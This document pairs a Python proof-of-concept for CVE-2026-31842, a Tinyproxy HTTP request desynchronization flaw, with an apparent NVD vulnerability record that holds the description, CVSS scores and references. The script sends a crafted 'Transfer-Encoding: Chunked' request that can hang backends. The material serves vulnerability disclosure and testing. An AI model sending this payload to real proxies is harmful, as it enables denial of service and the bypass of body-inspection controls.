CVE-2026-31842

import socket def send_malicious_request(host, port): """ PoC for CVE-2026-31842. Sends a request with 'Transfer-Encoding: Chunked' (capitalized) to trigger the parsing desynchronization. """ # Construct the HTTP request with a case-sensitive header # RFC 7230 says header values should be case-insensitive, # but Tinyproxy's strcmp() implementation requires lowercase 'chunked'. request = ( "GET / HTTP/1.1\r\n" f"Host: {host}\r\n" "Transfer-Encoding: Chunked\r\n" # 'Chunked' instead of 'chunked' "\r\n" "4\r\n" "TEST\r\n" "0\r\n" "\r\n" ) try: print(f"[*] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) print("[*] Sending malicious payload...") s.send(request.encode()) # The server might hang waiting for the body, so the socket might not return immediately # or might return a 200 OK if it forwards it blindly to a vulnerable backend that hangs. # This PoC demonstrates the triggering packet. print("[+] Payload sent. Check if the connection hangs or backend exhausts workers.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the target Tinyproxy server IP and Port target_host = "127.0.0.1" target_port = 8888 send_malicious_request(target_host, target_port)

{"cve": {"id": "CVE-2026-31842", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-04-07T12:16:21.040", "lastModified": "2026-04-29T18:51:51.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tinyproxy through 1.11.3 is vulnerable to HTTP request parsing desynchronization due to a case-sensitive comparison of the Transfer-Encoding header in src/reqs.c. The is_chunked_transfer() function uses strcmp() to compare the header value against \"chunked\", even though RFC 7230 specifies that transfer-coding names are case-insensitive. By sending a request with Transfer-Encoding: Chunked, an unauthenticated remote attacker can cause Tinyproxy to misinterpret the request as having no body. In this state, Tinyproxy sets content_length.client to -1, skips pull_client_data_chunked(), forwards request headers upstream, and transitions into relay_connection() raw TCP forwarding while unread body data remains buffered. This leads to inconsistent request state between Tinyproxy and backend servers. RFC-compliant backends (e.g., Node.js, Nginx) will continue waiting for chunked body data, causing connections to hang indefinitely. This behavior enables application-level denial of service through backend worker exhaustion. Additionally, in deployments where Tinyproxy is used for request-body inspection, filtering, or security enforcement, the unread body may be forwarded without proper inspection, resulting in potential security control bypass."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "baseScore": 7.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tinyproxy_project:tinyproxy:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.3", "matchCriteriaId": "47E38326-9534-404D-806F-11FF49FD0B0E"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc7230", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Exploit", "Technical Description"]}, {"url": "https://github.com/tinyproxy/tinyproxy", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Product"]}, {"url": "https://github.com/tinyproxy/tinyproxy/issues/604", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Explo ... 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